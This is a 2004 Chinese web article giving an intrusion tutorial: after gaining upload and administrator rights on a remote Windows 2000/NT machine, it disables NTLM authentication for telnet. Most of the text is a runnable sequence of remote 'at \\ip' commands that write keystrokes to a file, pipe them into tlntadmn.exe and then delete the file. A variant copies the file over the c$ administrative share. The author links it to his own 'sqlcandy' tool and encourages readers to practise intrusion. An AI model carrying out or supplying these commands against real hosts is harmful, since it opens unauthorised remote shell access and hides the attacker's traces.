不需要任何工具，远程屏蔽telnet服务的ntlm认证 -pc6资讯

您的位置：首页 → 网络冲浪 → 网络技术 → 不需要任何工具，远程屏蔽telnet服务的ntlm认证

不需要任何工具，远程屏蔽telnet服务的ntlm认证 时间：2004/10/8 16:46:00来源：本站整理作者：蓝点我要评论(0): 　　　　很多人获得上传文件的权限和管理员权限以后想启动远程的tlelnet服务，但是却碰到　
讨厌的NTLM认证，对于这种情况，我们很多时候就采用上传文件（比如NTLM.exe），然后at远程定时执行，如果手头上没有这样的工具怎么办呢？　
可以这么做:　
大家可以看一下win2000和nt4自带tlntadmn这个命令，他是用来控制台修改telnet设置的，很可惜这是一个控制台的交互式工具，所以at命令没有办法直接调用。　
现在我们执行一下tlntadmn，然后按照以下的顺序操作　
停止服务(5)->更改设置(3)->NTLM(7)->确认更改(y)->修改NTLM当前值(0)->再次确认(y)->退出菜单(0)->启动服务(4)->退出程序(0)　
现在大家记住了吧，先后顺序是5(回车)3(回车)7(回车)y(回车)0(回车)y(回车)0(回车)4(回车)0(回车)　
线在我们这么做　
at \\ip time "echo 5 > c:\t.txt"　
at \\ip time "echo 3 >> c:\t.txt"　
at \\ip time "echo 7 >> c:\t.txt"　
at \\ip time "echo y >> c:\t.txt"　
at \\ip time "echo 0 >> c:\t.txt"　
at \\ip time "echo y >> c:\t.txt"　
at \\ip time "echo 0 >> c:\t.txt"　
at \\ip time "echo 4 >> c:\t.txt"　
at \\ip time "echo 0 >> c:\t.txt"　
at \\ip time "c:\winnt\system32\tlntadmn.exe < c:\t.txt"　
at \\ip time "del c:\t.txt /f"　
呵呵按照上面的顺序一步一步执行　
当然你本地做一个t.txt文件也可以，内容如下:　
5　
3　
7　
y　
0　
y　
0　
4　
0　
每个字符后面要加回车，然后copy t.txt \\ip\c$　
然后再　
at \\ip time "c:\winnt\system32\tlntadmn.exe < c:\t.txt"　
at \\ip time "del c:\t.txt /f"　
很简单的dos重定向原理，t.txt就相当于手工输入一系列的操作，完成tlntadmn的交互　
呵呵　

当然，你们可以在本地试验好以后再发到远程主机去　
我写的那个sqlcandy远程启动telnet服务，删除ntlm认证就是这么做的　
当然有工具是最好了　
但是劝大家练习入侵的时候尽量不要使用工具，这样对自己没有帮助的 .:)

文章评论

查看所有0条评论>>